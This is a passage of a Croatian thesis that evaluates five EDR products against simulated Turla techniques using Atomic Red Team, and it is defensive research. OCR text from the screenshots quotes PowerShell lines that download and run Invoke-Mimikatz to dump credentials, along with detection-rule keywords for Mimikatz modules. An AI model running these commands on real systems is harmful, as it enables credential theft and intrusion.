AttacklQ je izgraden na modularnoj arhitekturi, omogucujuc¢i korisnicima da biraju i
prilagodavaju scenarije napada prema svojim specificnim potrebama. Platforma koristi razlicite
agente koji omogucuju simulaciju napada na visSe slojeva mreze, ukljucujuéi krajnje tocke,
mreznu infrastrukturu i aplikacije. Svaki agent prikuplja podatke o ucinku napada, ¢ime

omogucuje detaljnu analizu sigurnosnih sustav.
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4.4, Provodenje simulacije kibernetickih napada

Kao dio prakti¢nog dijela ovog rada, simulacija kiberneti¢kih napada provedena je u svrhu
evaluacije uc¢inkovitosti razli¢itih EDR sustava u detekciji i odgovoru na specifi¢ne tehnike
poznatog APT malicioznog aktera Turla. Odabrani APT poznat je po provodenju sofisticiranih
napada usmjerenih na kretanje kroz mreze, prikupljanje osjetljivih informacija i eksfiltraciju
podataka. Za potrebe ove simulacije, koriSten je pristup modeliranja napada temeljen na
tehnikama, taktikama i procedurama MITRE ATT&CK okvira, koji pruza strukturiran uvid u

metode napada koje su karakteristi¢ne za ovu grupu.

Cilj simulacije je reproducirati §to vjernije scenarije napada koje APT koristi u stvarnim
uvjetima. KoriStenjem alata Atomic Red Team odabrano je jedanaest predefiniranih testova koji
reflektiraju naj¢esce koristene tehnike, ali ne repliciraju najvjernije stvarno koriStene taktike,

zbog ogranicenja same platforme.

4.4.1. Infrastrukturna okolina simuliranih napada
Simulacija kibernetickih napada provedena je u izoliranom okruzenju koji se sastojao od jedne
Windows 10 radne stanice ,jednog EDR rjeSenja u svakom testnom ciklusu te preinstaliranih
Atomic Red Team testova. Ciljni sustav bio je Windows 10 Pro, verzija 22H2 (OS Build
19045.4780) koji je sluzio kao glavna platforma za simulaciju napada i evaluaciju u¢inkovitosti

pojedinih EDR rjeSenja.

Svaka simulacija provedena je na na¢in da se na Windows 10 radnoj stanici nalazio instalirani
EDR agent jednog od testiranih proizvodaca, dok se nadzor, administracija i analitika odvijala
kroz konzolu u oblaku EDR rjesenja. Konzole u oblaku omogucile su pracenje naprednih
detekcija, analizu incidenata i odgovore na sigurnosne prijetnje u stvarnom vremenu,
ukljucujuéi korelaciju dogadaja 1 izvjeStavanje o aktivnostima napada. Idu¢om slikom
prikazana je arhitektura simulacijskog okruzenja te na¢in komunikacije izmedu EDR agenta

instaliranog na radnoj stanici i EDR konzole.

H Sigurnosni dogadaji

A\ 4

Odgovor na incident i upravljanje uredajem

[N

Radna stanica

EDR konzola

Slika 5: Arhitektura simulacijskog okruzenja
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Ovim radom evaluirati ¢e se idu¢a EDR rjeSenja: Palo Alto Networks Cortex XDR, Microsoft
Defender for Endpoint, Bitdefender GravityZone, Trend Micro Apex One, WithSecure
Elements EDR.

4.4.2. Odabir APT grupe
Proces evaluacije EDR rjesenja zapoceo je odabirom malicioznog aktera koji predstavlja
znaCajnu prijetnju za sektore poput vladinih institucija, kriticne infrastrukture i financijskih
organizacija. Kako bi se identificirala najrelevantnija prijetnja, koriStena je baza podataka
MITRE ATT&CK koja sadrzi popis poznatih APT grupa i njihovih ciljeva. Idu¢om slikom
prikazana je navedena ATT&CK baza znanja o APT grupama.

MITRE | ATT&CK"

APTI2 © Name Associated Groups Description

Slika 6: Prikaz MITRE ATT&CK podataka o APT grupama, [61]

Prilikom pretrazivanja baze, APT grupa Turla istaknula se kao relevantna grupa za provodenje
analize. Turla je poznata po napadima na Vlade, sigurnosne agencije i kljuénu infrastrukturu, s
posebnim fokusom na napade u Europi i Sjevernoj Americi. S obzirom na njezin kontinuirani
fokus na ove kriti¢ne sektore, Turla je odabrana kao maliciozni akter za procjenu EDR sustava
u ovoj studiji, zbog svoje sposobnosti dugotrajnog infiltriranja u sustave te koristenja

sofisticiranih tehnika za izbjegavanje detekcije i eksfiltraciju osjetljivih podataka.

4.4.3. Istrazivanje i odabir relevantnih taktika
Prilikom odabira taktika, tehnika i procedura za simulaciju napada, klju¢no je da odabrane
tehnike odgovaraju stvarnim napadackim metodologijama koje koristi odabrani maliciozni
akter. U ovom slucaju, proces odabira temelji se na analizama obavjeStajnih podataka 1

podacima iz MITRE ATT&CK baze znanja, koja pruza sveobuhvatan pregled metoda koje
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koristi APT Turla. Cilj je pokriti cijeli lanac napada, od inicijalnog pristupa do eksfiltracije

podataka, kako bi se osigurala potpuna evaluacija EDR sustava.
Za odabir taktika koriStena su dva kljucna kriterija:

e Relevantnost tehnika: Odabir tehnika koje su specifi¢ne za grupu Turla, a koje su
identificirane kroz MITRE ATT&CK Navigator. Time se osigurava da simulacija
napada bude realisticna i da reflektira stvarne prijetnje.

e Dostupnost testova: Tehnike su odabrane na temelju dostupnosti testova u okviru alata
Atomic Red Team.

Odabrane tehnike pruzaju uvid u razliite aspekte napada, poput kompromitacije racunalnih
sustava, lateralnog kretanja kroz mrezu, eskalacije privilegija i krade osjetljivih informacija.
Pritom, svaka tehnika odabrana je kako bi testirala odredene komponente EDR sustava, kao §to
su detekcija malicioznih skripti, otkrivanje bo¢nog kretanja unutar mreze i pracenje eksfiltracije

podataka. Idu¢om tablicom prikazane su osnovne specifikacije odabranih taktika.

Tablica 2: Prikaz odabranih taktika

MITRE ATTE&CK

Taktika Tehnika
1D
Inicijalni pristup T1566.001 Spearphishing Attachment
Command and Scripting
lzvrienje T1059.001 Interpreter: PowerShell
Boot or Logon Autostart
Perzistentnost T1547.001 Execution: Registry Run Keys
Eskalacija
privilegija T1110 Brute Force
Izbjegavanje Impair Defenses: Disable or
obrane T1562.001 Modify Tools
Credentials from Password
Prikupljanje Stores: Windows Credential
vjerodajnica T1555.004 Manager
Otkrivanje T1083 File and Directory Discovery
Remote Services: SMB/Windows
Bocno kretanje T1021.002 Admin Shares
Pripupljanje T1005 Data from Local System
Zapovijedanije i Application Layer Protocol: Web
upravljanje T1071.001 Protocols
Eksfiltracija T1567.002 Exfiltration Over Web Service

4.4.4. Opisiimplementacija taktika
Simulacija kibernetickih napada temelji se na preciznom opisu i implementaciji odabranih
taktika, tehnika i1 procedura, koje reflektiraju stvarne napadacke metode. Cilj ovog segmenta
rada je pruziti tehnicki uvid u nacin na koji se odabrane taktike manifestiraju unutar stvarnih

napada te kako se mogu simulirati koriStenjem specificnih alata 1 metoda. Implementacija
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taktika kljucan je korak u stvaranju realisticnog okruzenja za testiranje, omogucujuci
organizacijama procjenu ucinkovitosti njihovih sigurnosnih mehanizama. Kroz koriStenje
Atomic Red Team alata svaka od odabranih taktika simulira specificne napadacke tehnike koje

su u svojim ina¢icama kori$tene u stvarnim napadima.

Kroz daljnji tekst biti ¢e navedene sve odabrane tehnike, te ¢e za svaku od njih biti pruzen

tehnicki osvrt i nac¢in implementacije u sustav.

Inicijalni pristup — kako je ve¢ ranije spomenuto inicijalni pristup predstavlja napadacku taktiku
¢iji je cilj pronaci ulaznu tocku u ciljani sustav. U provedenoj simulaciji koriStena je taktika
T1566.001 kojom se simulira pocetna kompromitacija sustava preuzimanjem Spearphishing
privitka koji sadrzi makro naredbe. Ovim ART testom Zeli se testirati moguénosti EDR rjeSenja

da prepoznaju i blokiraju maliciozne datoteke.

Izvr$enje — ovom taktikom napadaci izvrSavaju pokretanje programa malicioznog koda na
ciljanim sustavima. Odabrani ART test za ovu tehniku je T1059.001 koji se temelji na simulaciji
iskoriStavanja naredbene ljuske (engl. PowerShell) pomoéu koje se pokrec¢u zlo¢udne komande
I skripte. Za potrebe testiranja umjesto stvarno koristenog Empire PSInject alata, kroz skriptu
je pokrenuto dohvacanje Mimikatz alata putem sumnjive poveznice, te je nakon uspje$nog
preuzimanja alat se kroz istu skriptu pokreée i pokuSava kopirati kredencijale iz memorije

kompromitiranog sustava.

Perzistentnost — tehnika perzistentnosti odnosi se na aktivnosti napadaca kojima teze
ostvarivanju postojanosti u sustavu nakon provedene inicijalne kompromitacije. KoriSteni
simulacijski scenarij za ovu tehniku je T1547.001 kojim se u sustavu kreira postojanost
referenciranjem zlonamjernog programa s novokreiranim registarskim klju¢em (engl. Registry
Key). Pomocu takvog referenciranja, prilikom svakog pokretanja zarazenog sustava ili prijave
kompromitiranog korisnika program malicioznog koda se izvrSava. Za potrebe testiranja
koristena je biblioteka dinamicke veze (engl. Dynamic-Link Library, DLL) kreirana od strane

proizvodaca umjesto koristenja izvr$ne datoteke koja sadrzi alat Metasploit.

Eskalacija privilegija — ovom tehnikom napadaci Zele ostvariti veca prava u kompromitiranom
sustavu u odnosu na inicijalno ostvarena prava. Kod stvarnih napada koje provodi odabrani
APT, tehniku eskalacije prava koriste na nacin da iskoriStavaju lokalno kreirane racune Koji
imaju identicnu zaporku u svim segmentima kompromitirane domene. U svrhu testiranja
koriStena je taktika T1078.003 pomocu koje se u simuliranom okruZenju kreirao novi korisnicki

racun koji je imao ovlasti lokalnog administratora.
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Izbjegavanje obrane — koriStenje ove tehnike za cilj ima onesposobiti ili zaobi¢i ugradene
sigurnosne mehanizme operativnih sustava. U kontekstu APT Turla, izbjegavanje obrane je
koristeno na nacin da napadaci koristenjem PowerShell sesije pokusavaju modificirati logicku
vrijednost povezanu s funkcionalnos¢u sucelja za skeniranje zlocudnih programa (engl.
Antimalware Scripting Interface, AMSI). Uspjes$nim zaobilazenjem, odnosno gasenjem AMSI
sucelja napadaci ostvaruju pravo pokretanja malicioznih skripti koje neée biti inspektirane. U
svrhu simulacije ponasanja navedene grupe koristena je taktika T1562.001 koja vjerno replicira
ponasanje stvarnih napadaca. IzvrSavanjem navedenog testa Zeli se onemoguciti AMSI sucelje

i testirati detekcijske sposobnosti EDR rjeSenja.

Prikupljanje vjerodajnica — ovom taktikom napadac¢i unutar kompromitirane infrastrukture
koriste tehnike krade podataka kako bi kreirali uporiste putem kojeg se mogu neprimijeceno
kretati mreZom. Prilikom provodenja simulacije koristena je tehnika T1555.004 kojom se
simulira stvarno ponasanje odabrane napadacke grupe. Taktika koristi skriptu koja poziva
legitimni Windows alat vaultcmd pomocu kojeg vrsi ispisivanje svih trenutno spremljenih
vjerodajnica na zarazenoj radnoj stanici. Navedeni alat informacije o vjerodajnicama povlaci iz

servisa za upravljanje kredencijalima (engl. Credential Manager).

Otkrivanje — svrha koriStenja ove taktike je prikupljanje informacija o kompromitiranom
sustavu s ciljem pronalaska kriticnih tocki koje se Zele iskoristiti za povecanje opsega napada.
ART test koriSten prilikom provodenja simulacije baziran je na tehnici T1083, gledajuci sa
stajaliSta realistiCnosti testa moZe se potvrditi kako je kreirani test slican stvarnom napadu koji
prilikom svojeg izvrSavanja pretrazuje specifi¢ne direktorije. Provedeni test u odnosu na stvarni
napad, pretraZzuje 1 ispisuje sadrzaj svih direktorija koji su dostupni korisniku €iji racun se

koristi za izvr§avanje napada.

Boc¢no kretanje — ovom tehnikom napadaci koriste informacije prikupljene u prijasnjim
koracima u svrhu ostvarivanja konekcije na druge sustave unutar mreZnih segmenata
kompromitirane infrastrukture. Za potrebe simulacije stvarnih napada koriStena je tehnika
T1021.002 koja vjerno replicira ponasanje Turla grupe. Navedenom taktikom simulira se
ostvarivanje konekcije prema mrezno dijeljenim resursima koriStenjem legitimnih Windows

procesa.

Prikupljanje — u ovoj fazi kiberneti¢kog napada, napadac¢ima je cilj pripremiti informacije od
interesa za daljnju obradu i eksfiltraciju. Prema dostupnim izvorima odabrana APT grupa

koristi ovu tehniku kako bi unutar kompromitirane infrastrukture kreirala mreZu racunala koja
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razmjenjuje informacije koriStenjem RPC protokola. Cilj kreiranja takve mreze je kreacija
lokalno bazirane zapovjedne infrastrukture putem koje zarazeni resursi izvrSavaju dane
instrukcije. Za potrebe simulacije koristena je taktika T1005, koja je takoder koristena od strane
Turla grupe, ali u odnosu na stvarne napade kreirani test provodi pretrazivanje datoteka od

interesa te kreiranje komprimirane mape koja sadrzi takve dokumente.

Zapovijedanje i upravljanje — ovom tehnikom napadaci ostvaruju udaljeni pristup pomocu
kojeg orkestriraju daljnje faze napada. U kontekstu simulacije stvarnih napada koristena je
taktika T1071.001 kojom se simulira komunikacija zaraZzene infrastrukture s malicioznim
zapovjednim posluziteljem napadaca. Testiranje je provedeno s predefiniranim vrijednostima
koje umjesto stvarnog malicioznog posluZitelja koriste Google domenu, zbog toga postoji

mogucnost da EDR rjeSenja nece prepoznati provedene aktivnosti kao maliciozne.

Eksfiltracija — zavrs$na faza vec¢ine naprednih kibernetickih napada, kojoj je cilj krada podataka
injihovo koristenje za nove kiberneticke napade. Gledajuci dostupna izvjeS¢a o napadima grupe
Turla vidljivo je kako grupa koristi vise metoda za iznoSenje ukradenih podataka, a jedna od
metoda je korisStenje pohrane u oblaku. Iako se prema dostupnim informacijama prikazuje kako
stvarni napadi koriste servise OneDrive i 4shared, za potrebe simulacije koristen je servis
pohrane u oblaku Mega. Taktika koja je koriStena za provodenje simulacije bazira se na

T1567.002 i koriStenju alata komandnog retka rclone.

4.45. Provodenje simulacije
Provedenim istrazivanjem i pazljivim odabirom relevantnih taktika, kao i njihovom
implementacijom, stvorena je solidna osnova za zavrSnu fazu simulacije napada. Ovaj segment
plana obuhvaca sve aktivnosti prikazane na slici 3, ukljucujuéi zavrSne provjere definiranih
taktika i tehni¢kih zahtjeva kako bi se osiguralo da simulacija bude provedena uspjes$no i u
skladu s ciljevima. Tokom same simulacije, biljeZe se klju¢ne informacije o rezultatima testova,
reakcijama EDR sustava, kao 1 o ponasanju ciljanog sustava. U nastavku ¢e biti detaljno opisan
cjelokupan proces simulacije koji je koristen u ovom istrazivanju, ukljucujuéi analizu zapazanja

i reakcija testiranih sigurnosnih mehanizama.

Zavr$ne provjere definiranih testova i zahtjeva sustava u ovom slucaju zahtijevaju dodatnu
analizu dokumentacije Atomic Red Team platforme, odnosno dokumentacije odabranih taktika.
Kako je vidljivo u niZe prikazanoj tablici, za uspje$no provodenje simulacije napada potrebno

je na ciljanim sustavima omoguciti dodatne funkcionalnosti za taktike T1005 1 T1567.
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Za taktiku T1005, potrebno je provjeriti da li postoji neka od vrsti tekstualnih datoteka u

sustavu, odnosno potrebno je kreirati novi tekstualni dokument proizvoljnog naziva i sadrzaja.

Za taktiku T1567, potrebno je provjeriti da li postoji mapa ExternalPayloads unutar C
direktorija, te da li sadrzi rclone izvr$nu datoteku. Ukoliko navedena mapa ili datoteka ne

postoje, potrebno je kreirati navedenu mapu, odnosno preuzeti izvr$nu datoteku s Interneta.

Tablica 3: Prikaz dodatnih zahtjeva odabranih taktika

Taktika Oznakatesta Dodatni zahtjevi

T1566 T1566.001 #1 Simuliranje ne zahtjeva dodatne
funkcionalnosti sustava

T1059 T1059.001 #1 Simuliranje ne zahtjeva dodatne
funkcionalnosti sustava

T1547 T1547.001 #2 Simuliranje ne zahtjeva dodatne
funkcionalnosti sustava

T1078 T1078.003 #1 Simuliranje ne zahtjeva dodatne
funkcionalnosti sustava

T1562 T1562.001 Simuliranje ne zahtjeva dodatne
#13 funkcionalnosti sustava

T1555 T1555.004 #1 Simuliranje ne zahtjeva dodatne
funkcionalnosti sustava

T1083 T1083 #2 Simuliranje ne zahtjeva dodatne
funkcionalnosti sustava

T1021 T1021.007 #4 Simuliranje ne zahtjeva dodatne
funkcionalnosti sustava

Simuliranje zahtjeva postojanje jedne ili
T1005 T1005 #1 vise datoteka s ekstenzijama .doc,
.docx, .txt

T1071 T1071.001 #1 Simuliranje ne zahtjeva dodatne
funkcionalnosti sustava

Simuliranje zahtjeva postojanje
T1567 T1567.002 #1 | datoteke rclone.exe unutar mape na
putanji C:\ExternalPayloads

Nakon §to su provedene sve zavrSne provjere, sustav je spreman za pokretanje simulacije
kibernetickih napada. Simulacija se odvija sekvencijalno, gdje se svaka od odabranih taktika
izvrSava prema unaprijed definiranom redoslijedu. Tijekom izvodenja svake taktike, pazljivo
se prati ponaSanje sustava te reakcije aktivnog EDR rjeSenja unutar testne okoline. Na iduc¢oj
slici prikazano je pokretanje jedne od odabranih taktika, uz pripadajuc¢i odgovor EDR sustava

na napad.

PS5 C:\> Invoke-AtomicTest T1059.001-1

Seript Engine Activity - 2325564505

@ Cortex XDR Prevention Alert

Cortex XDR has blocked a
malicious activity!
Application name: Windows PowerShell ISE

g Application publisher: Microsoft Corporation
Prevention description: Behavioral threat detected

[ETE——

Show details | P o

Please contact your help desk for questions or additional information

Slika 7: Simuliranje odabrane taktike i prac¢enje ponasanje ciljanog sustava
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Kao §to je ve¢ ranije navedeno, cilj prakticnog dijela ovog diplomskog rada jest simulirati
kiberneticke napade koji oponasaju stvarne APT prijetnje, a sve u svrhu pracenja i evaluacije
ucinkovitosti odabranih EDR rjeSenja. Vazno je napomenuti da svrha simulacije nije pruziti
iscrpan uvid u sve moguénosti EDR rjeSenja, buduci da bi takav opsezan pristup zahtijevao
znatno viSe vremena i resursa. Umjesto toga, simulacija ima za cilj identificirati osnovne
reakcije sigurnosnih sustava i pruziti uvid u njihove moguénosti detekcije 1 odgovora na tipi¢ne

prijetnje, dok ¢e se usporedba s komercijalnim evaluacijama obraditi kasnije u radu.

Zadnji segment provodenja simulacije kibernetickih napada podrazumijeva izvjeStavanje o
zabiljezenim dogadajima. Kako se identi¢na simulacija provodila pet puta u svrhu testiranja
razlic¢itih EDR rjeSenja, izvjestaj o zabiljezenim dogadajima biti ¢e pruzen nize prikazanom

tablicom, dok ¢e se za svako EDR rjeSenje ukratko opisati zabiljezeni dogadaji.
Dodano, za lakSe razumijevanje priloZene tablice, potrebno je opisati oznake koriStene u istoj:

e Crveno oznacene Celije: Sustav nije detektirao napad i ne postoji zapis u EDR konzoli

e Narancasto oznacene Celije: EDR nije detektirao napad, ali su pronadeni zapisi u
vremenskoj crti dogadaja

e Zuto oznalene éelije: Sustav je detektirao napad, ali ga nije blokirao

e Zeleno oznacene Celije: Sustav je uspjesno detektirao 1 blokirao napad
Tablica 4: Sumarni prikaz rezultata testiranja EDR rjeSenja

Palo Alto Trend Bitdefender WithSecure
Networks Micro Apex Gravity Elements
Cortex XDR One Zone EDR

Microsoft
Defender
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Rezultati simulacije napada na odabrana EDR rjeSenja pruzaju pregled ucinkovitosti samih
rjesenja u detekciji i odgovoru na sofisticirane prijetnje. Fokus ove analize je na tome kako
sustav reagira na specificne tehnike napada, ukljucujuéi detekciju i blokiranje zlonamjernih
aktivnosti. U svrhu ovog rada, rezultati su prikazani sazeto, bez dublje tehnicke analize, s ciljem
davanja jasne slike o osnovnim moguénostima sustava. Ovaj nain evaluacije omogucuje
razumijevanje temeljnih funkcionalnosti testiranih EDR rjeSenja, pri ¢emu su zabiljeZene
razliCite reakcije sustava, od potpune detekcije 1 blokiranja napada, preko djelomic¢nih detekcija,

do slu¢ajeva u kojima sustav nije uopée prepoznao maliciozne aktivnosti.

Izvodenjem testiranja EDR rjesenja Microsoft Defender for Endpoint primijeceno je kako
sustav funkcionira prema definiranim parametrima dostupnim u tehnickoj dokumentaciji.
IzvrSavanjem svakog od jedanaest definiranih testova pozorno su ispracene reakcije sustava, te
je zakljuceno da su detekcijske sposobnosti sustava vrlo dobre, dok s druge strane
automatizirani odgovor na prouzrofene sigurnosne incidente nije bio na zavidnoj razini.
Daljnjom analizom dizajna testiranog sustava potvrdeno je da je sustav bio konfiguriran u
nacinu rada ,,monitoring* $to znaci da Ce sustav zabiljeziti napad, ali ga nece blokirati, osim u
slucajevima gdje se radi o poznatim malicioznim datotekama. Izgled sucelja i neke od detekcija
vidljive su idu¢om slikom. Takoder prilikom pracenja rada sustava primijeceni su nedostaci u
funkcionalnostima EDR konzole, odnosno nemogucnost potpunog pretrazivanja vremenske
crte dogadaja testirane radne stanice. Navedeni nedostaci proizlaze iz licenciranja koje je za
vrijeme provodenja simulacije bilo u probnoj verziji. ZavrSetkom simulacije 1 analizom
zabiljeZzenih dogadaja 1 ponaSanja sustava moze se donijeti zakljucak da je Microsoft Defender
for Endpoint dobar izbor za zastitu krajnjih uredaja organizacija ¢ije se poslovanje temelji na
Windows infrastrukturi te ¢iji sigurnosni timovi nisu sacinjeni od visoko kvalificiranih
struénjaka iz razloga Sto samom instalacijom rjeSenja nisu potrebne velike preinake kako bi

sustav zadovoljio sve potrebe organizacije.
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Multi-stage incident irmvobving Execution & Discow. . ¢ LTI

Possible Antenabware Scan Intertace (AMSI) Lamp [T LIRS
Porsible Anteralware Scan Interface (AMY) tamp ass
Password speaying mms e
Sungicionss User Acconunt Discervery uss
A SOripE with SUSPICKoUs CONtent was observed TR
Surgichous behuvior by swchoilene wat obierved s e
Sunpicions Power Shell command bne [T T
Surngicican Windows shll registration mmE e
Sunpicioun modification of the Userinit registry en mas e
Surnpicious behavior bry cmd exe was observed s e
St icnst Peeer Shall (oenmand ke mms e
Ancemaly detected in ASEP registry mes e
Possible regitry periitence . e
An uncommon file was created and added 10 star s e et e rastence widrtende
An uncommon file was created and sdded 10 star mms e
Process tree Alert timeline
~ Expand all SgZ Show related alerts Ungroup [ Copy story to clipboard
e Suspicious behavior by ecmd.exe was observed ams Medwum @ Detected @ New

[3152]) emd.exe created [5980] powershell.exe -exec bypass -noprofile “ScomMsXmi=Ne, Remote enecution o Ea

Command line A [

powershellLexe -exec bypass -noprofile “$comMsXmil=New-Object -ComObject
MsXmi2 ServerXmiHttp:ScomMsXmlL.Open{GET", htt, w.githubusercontent.com/redcanar
yoo/atomic-red-team/master/atomics/T1059.001 ferc/test. ps 17, $False): ScomMeXmlLSend (cIEX

Process id 5980

Execution details Token elevation: Default Integnty level: High

\powershellexe

Image file path CAWINdows\S
Image file SHA1 8012

Image file creation Aug 11
time

Image file last Aug 11, 2024 93341 AM
maodification time

Remote session DESKTOP-TNS4RIT
initiator device
name

Sianer & Microsoft Windows

Slika 8: Prikaz detekcija i ponasanja sustava Microsoft Defender for Endpoint

Palo Alto Networks Cortex XDR prilikom testiranja pokazao se kao funkcionalan i
sveobuhvatan alat za za$titu krajnjih uredaja. Prema dostupnoj dokumentaciji i izvjeStajima
tre¢ih strana, ponaSanje sustava tokom simuliranih kiberneti¢kih napada pokazalo se kao
ocekivano. Kod izvrSavanja pojedinih testova primijeceno je da se svaki od prepoznatih napada
klasificirao prema istim taktikama koje su bile koristene u samim testovima. Kao i kod
prethodno spomenutog rjesenja, zabiljezena je veca koli¢ina detektiranih pokusaja napada u
odnosu na blokirane iz razloga §to je u vrijeme simulacije bila primijenjena politika koja
onemogucava automatiziranu mitigaciju ugroza. Takva politika je definirana s ciljem provjere
detekcijskih sposobnosti sustava, te zbog osiguravanja izvrSavanja samih testova. Ukoliko bi
se koristila restriktivnija politika postojale bi velike Sanse da se simulacija ne bi mogla uspjesno
izvrsiti iz razloga $to bi EDR rjesenje prilikom prvog pokretanja testne skripte blokiralo daljnje

izvrSavanje procesa, te bi datoteke iz mape Atomic Red Team testova stavio u karantenu.
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Provodenje simulacije, odnosno reakcija sustava na pojedine testove prikazana je idu¢om

slikom.
Vi : .
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28 XDR £ C
Source: BHDR et s A\ XDR BIOC

ipt by setting test signing on cution AND target process cmd =
erberos::”, "erypto::”, "vault:", "token:",

Isadump::”, “~dumpcr’, "-dumpce” AND target process name =.

MITKE ATI&UR GENERAL
> GENERAL
MITRE ATT&CK

fpet) MITRE ATT&CK
TADOOS - Defense Evasion

T- TADOO2 - Execution
Techniques e
T1553.006 - Subvert Trust Controls: Code Signing Policy Mo. TRODG6 - Clietial Brkess
= T1059.001 - Command and Scripting Interpreter: PowerShell
Hasy T1003 - OS Credential Dumping
HOST

B Windows | 10.0.19045 abiel) forn
B Windows | Windows 10 [10.0 (Build 19045)]
XDR B8 Windows | Windows 10 [10.0 (Build 19045]]
Host IF Hostame
10004 XDR 100,
Host MAC Address o e
60:45:bd:95:ae:14 a 10004 N/A

Slika 9: Prikaz detekcija i zapisa Cortex XDR rjesenja

Usporednim pracenjem rada sustava i pokretanjem simulacije, nisu zabiljezeni neo¢ekivani
dogadaji, dok se nedostaci platforme manifestiraju kroz nemogucénost izriCitog pronalaska
mreznih aktivnosti, odnosno pristupa odredenim poveznicama $to otezava trijazu Sigurnosnog
incidenta. Navedeni nedostatak moguce je kompenzirati integracijom logova s drugih mreznih
sustava koji odraduju analizu prometa. Provedenim testiranjem moze se donijeti zakljuc¢ak kako
je Palo Alto Networks Cortex XDR jedan od najpotpunijih alata na trzistu, te je njegova
implementacija pogodna za srednje i velike organizacije, neovisno o infrastrukturi operativnih

sustava koje koriste.

Trend Micro Apex One rjeSenje za zastitu krajnjih uredaja u poslovnim okruzenjima prilikom

provodenja simulacije pokazalo je varijacije u moguénostima detekcije. RjeSenje je bilo
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konfigurirano na sli¢an nacin kao i ostala EDR rjeSenja, odnosno onemogucene su
funkcionalnosti automatskog blokiranja prijetnje, ali u odnosu na druge sustava prilikom
isklju¢ivanja tih funkcionalnosti, takoder se gube funkcionalnosti blokiranja poznatih
malicioznih datoteka. Provodenjem simulacije 1 biljeZenjem ponaSanja sustava nisu uoceni veci
nedostaci u detekcijskim moguénostima. Analizom generiranih incidenata potvrdeno je
oc¢ekivano ponasSanje sustava, dok se istovremeno identificirao nedostatak vezan uz mogucénost
pretrazivanja sistemskih zapisa sa simulirane radne stanice. Takoder daljnjim radom sa samom
konzolom zakljucuje se kako konzola sadrzi sve potrebne funkcionalnosti, ali iskustvo i
intuitivnost korisStenja se mogu opisati kao dovoljni uz dosta prostora za napredak. Idu¢om

slikom prikazani razli¢iti prozori putem kojih se odraduje analiza simuliranih napada.

]

powershellexe "IEX (New-Object Net.WebClient).DownloadString(https://raw.git

hubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b 1004d af8b3ec08

007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps17); Invoke-Mimikatz -Dump
Creds™

of Regsstry Start Up

Slika 10: Prikaz detekcija i zapisa Trend Micro Apex One rjesSenja

Bitdefender Gravity Zone prvo je EDR rjesenje koje je pokazalo velike varijacije u detekcijskim

sposobnostima simuliranih kiberneti¢kih napada. Od jedanaest provedenih napada, ovo rjeSenje
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uspjesno je blokiralo i detektiralo Cetiri napada, dok za ostale napade ne postoje vidljivi zapisi.
Ovakvo ponasanje sustava moze se pripisati poteSko¢ama s licenciranjem samog rjesenje, zbog
toga Sto se simulacija kiberneti¢kih napada provodila na sustavu s evaluacijskom licencom koja
ne sadrzi sve funkcionalnosti plac¢ene verzije. Prema danim moguénostima, iskustvo koriStenja
1 dostupnost zapisa o dogadajima je jako Stura, za detektirane dogadaje moguce je koriStenjem
konzole vidjeti o kojim alarmima je rije¢, odnosno o putanji detektiranih datoteka Sto je
prikazano idu¢om slikom. U odnosu na prije testirane sustave Bitdefender Gravity Zone prema
dobivenim rezultatima ne zadovoljava kriterije koriStenja u poslovnom okruzenju. Dodatno,
zakljucak je izveden prema subjektivnom osjecaju koriStenja i vidljivih informacija vezanih uz
simulirane prijetnje, u nastavku rada biti ¢e prezentirani rezultati industrijskih testova pomoc¢u

kojih ¢e se donijeti zavr$na evaluacija ovog EDR rjesenja.

Slika 11: Prikaz detekcija sustava Bitdefender Gravity Zone

WithSecure Elements EDR zadnji je sustav za zastitu krajnjih uredaja koji se testirao. Kao i
kod prijas$njih sustava bilo je potrebno kreirati politiku u sustavu kojom se onemogucava
automatsko blokiranje prijetnji. Kreiranje i provodenje politike je bilo uspjesno, te je odradeno
simuliranje kibernetickih prijetnji. Prilikom provodenja pojedinacnih testova zabiljezena je
samo jedna reakcija na test povezan preuzimanjem i pokretanjem malicioznog programa
Mimikatz, za ostale simulirane prijetnje nisu uoceni zapisi o detekciji istih. Analizom
generiranog incidenta dobivene su informacije koji proces je inicirao aktivnost te koja komanda
je bila koristena. Navigiranje konzolom i konfiguriranje samog rjeSenja je izazovno, te zahtjeva
dobru tehnicku pripremu za uspjesno savladavanje koriStenja sustava. U odnosu na ostale
testirane sustave prema rezultatima testiranja koji su prikazani ranije u ovome radu, donijet je

zakljucak kako ovaj sustav nije pogodan za koristenje u korporativnom okruzenju.
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18 seconds ago DeepGuard . .
Attenti Vi A P
Sen s s ention . WindowsWithSecu cmd.exe’ was blocked

None
Details

Infection name : Exploit:W32/PowerShellStager.D!DeepGuard File path : C\Windows\System32\cmd.exe Command line :

powershell.exe "IEX (New-Object
Net.WebClient).DownloadString(8#39;https:/raw.githubusercontent.com/Powershe
IMafia/PowerSploit/f650520c4b1004daf8b3ec0800720b945b91253a/Exiltration/Inv
oke-Mimikatzps1&#38:: Invoke-Mimikatz -DumpCreds”
Prevalence : Common Reputation : Clean File size: 289.79 kB
Application hash:

badfd752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5efd31111802088b0

Slika 12: Prikaz detekcije WithSecure rjeSenja
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5. Sinteza rezultata i evaluacija ispitanih rjeSenja

U ovom poglavlju analizira se u¢inkovitost odabranih EDR rjeSenja kroz tehni¢ke performanse
u detekciji naprednih prijetnji. Istrazivanje se fokusira na usporedbu rezultata simulacija napada
provedenih u okviru ovog rada s rezultatima MITRE Engenuity 2023 Turla industrijske
evaluacije. Sintezom navedenih testiranja omogucuje se detaljan uvid u sposobnost svakog
rjeSenja da prepozna i odgovori na specificne napadacke tehnike, pruzajuci tako temelj za

daljnju analizu njihove u¢inkovitosti u informacijsko-komunikacijskim sustavima organizacija.

5.1. Analiza rezultata MITRE Engenuity 2023 evaluacije

MITRE Engenuity predstavlja relativno novu vrstu evaluacije EDR rjeSenja koja se provodi na
godiS$njoj razini i za cilj ima simulirati APT napade te prezentirati detekcijske i protekcijske
mogucnosti pojedinih EDR rjeSenja. Evaluacija EDR rjesenja odvija se u simuliranim
okolinama gdje su kreirane inacice stvarne informacijsko-komunikacijske infrastrukture unutar
kojih su ugradena sama rjeSenja za koja se provodi testiranje. Ovom industrijskom evaluacijom
cilj je kreirati jedan ili vise napadackih scenarija koji se temelje na MITRE ATT&CK radnom

okviru 1 koriste alata i tehnologije stvarnih napadaca.

Evaluacija EDR sustava bazira se na detekcijskim i korektivnim moguénostima sustava za svaki
